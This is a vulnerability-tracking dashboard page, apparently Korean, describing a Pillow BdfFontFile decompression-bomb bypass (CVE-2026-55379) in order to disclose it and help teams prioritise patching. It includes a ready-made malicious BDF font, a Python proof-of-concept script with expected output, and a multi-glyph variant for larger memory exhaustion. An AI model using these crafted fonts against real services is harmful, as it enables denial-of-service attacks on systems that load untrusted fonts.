Kestrel
대시보드로 돌아가기
CVE-2026-55379HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 06.수정일: 2026. 07. 20.

Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 65.4%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

bash
1# width, height from attacker-controlled "BBX width height x y" line
2try:
3 im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
4except ValueError:
5 # TRIGGERED when BITMAP section is empty (zero hex lines)
6 im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()!
7 # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

text
1STARTFONT 2.1
2SIZE 16 75 75
3FONTBOUNDINGBOX 16 16 0 -4
4STARTPROPERTIES 1
5COMMENT placeholder
6ENDPROPERTIES
7CHARS 1
8STARTCHAR A
9ENCODING 65
10SWIDTH 500 0
11DWIDTH 8 0
12BBX 20000 20000 0 0
13BITMAP
14ENDCHAR
15ENDFONT

Proof of Concept script:

python
1#!/usr/bin/env python3
2"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
3import io, warnings
4warnings.filterwarnings("ignore")
5
6from PIL.BdfFontFile import BdfFontFile
7from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
8
9W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold
10
11# Show what Image.open() would do
12warnings.filterwarnings("error", category=DecompressionBombWarning)
13try:
14 _decompression_bomb_check((W, H))
15except (DecompressionBombWarning, DecompressionBombError) as e:
16 print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
17warnings.filterwarnings("ignore")
18
19# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
20bdf = f"""STARTFONT 2.1
21SIZE 16 75 75
22FONTBOUNDINGBOX 16 16 0 -4
23STARTPROPERTIES 1
24COMMENT x
25ENDPROPERTIES
26CHARS 1
27STARTCHAR A
28ENCODING 65
29SWIDTH 500 0
30DWIDTH 8 0
31BBX {W} {H} 0 0
32BITMAP
33ENDCHAR
34ENDFONT
35""".encode()
36
37print(f"[*] BDF file size : {len(bdf)} bytes")
38print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
39print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
40
41BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!
42
43print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
44print(f" Image.open() path would have raised DecompressionBombError")

Expected output:

text
1[Image.open() path] BLOCKED by DecompressionBombError
2[*] BDF file size : 270 bytes
3[*] Glyph size : 20000 x 20000 = 400,000,000 pixels
4[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)
5[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
6 Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact

  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.